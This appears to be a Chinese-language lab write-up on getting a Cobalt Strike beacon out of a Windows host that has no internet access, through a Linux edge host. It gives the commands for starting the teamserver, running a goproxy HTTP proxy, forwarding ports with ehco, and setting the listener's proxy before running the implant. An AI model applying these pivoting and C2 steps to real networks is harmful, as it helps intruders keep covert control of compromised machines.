- 背景
- 实验
- 拓扑
- 开启CS
- 在边缘主机上设置代理
- 端口转发
- 设置listener
- 生成beacon并上线
- 总结
在真实的内网中,很容易遇到内网主机不出网的情况。
这种情况又可以分为边缘主机为Linux和为Windows两类。
windows上线windows很容易,linux上线linux可以用CrossC2插件来解决。
比较麻烦的就是边缘主机为Linux的情况上线内网Windows主机。
CrossC2暂时不支持Linux上线Windows,不过作者已经把该需求设置为了New,期待接下来的版本可以支持该功能。
网上普遍的思路是利用Pystinger的socks4(为什么不用socks5应该是CS不支持socks5,不过我也没有试验过)来正向代理,不过这种方法有一个弊端就是需要web服务。
那如果没有web服务需要怎么上线呢,有两篇文章讲解的比较清楚:
https://blog.csdn.net/csdnmmd/article/details/120589452
http://blog.leanote.com/post/snowming/2ec80f7823e0
第一篇是利用frp等代理工具将cs的流量转发到边缘主机上,不过我没有试验成功。。
第二篇是利用cs自带的beacon的http代理,即靶机执行木马之后会通过http代理去找我们的cs服务器。
第二篇实验的环境是边缘机和内网主机均为Windows的情况,本文主要对边缘机为Linux内网主机为Windows的情况进行实验。
拓扑图如下
Kali攻击机可以访问到Linux边缘服务器,Linux和Windows也是互通的,但是Windows不出网。
思路
把Kali作为CS服务端,然后
./teamserver 192.168.140.131 123456 c2.profile在边缘主机上设置代理
然后在Linux主机上设置好HTTP代理,这里使用的是goproxy,与第二篇一样。在Linux上面开8080端口作HTTP代理,可用curl来检验是否设置成功。
./proxy http -t tcp -p "0.0.0.0:8080" --daemon端口转发
Windows中可以使用lcx等进行端口转发,Linux中可以使用ssh等进行端口转发,我这里使用的是ehco。
https://github.com/Ehco1996/ehco
使用端口转发工具将内网的端口转发到外网的端口。
./ehco -l 192.168.52.10:8000 -r 192.168.140.135:8080
即将内网的流量通过8000端口转发到外网8080端口。
设置listener在CS上设置好listener
listener中的C2端口可以自己设置,但是HTTP代理需要设置好内网的代理,即192.168.52.10:8000。
生成beacon并上线然后生成beacon,要注意的是生成stageless的马比较好,具体原因可以参考第二篇。
然后在内网主机运行木马,可以看到已经成功上线了。
总结不过http代理没有经过加密,后续要是有时间可以尝试用socks4代理。



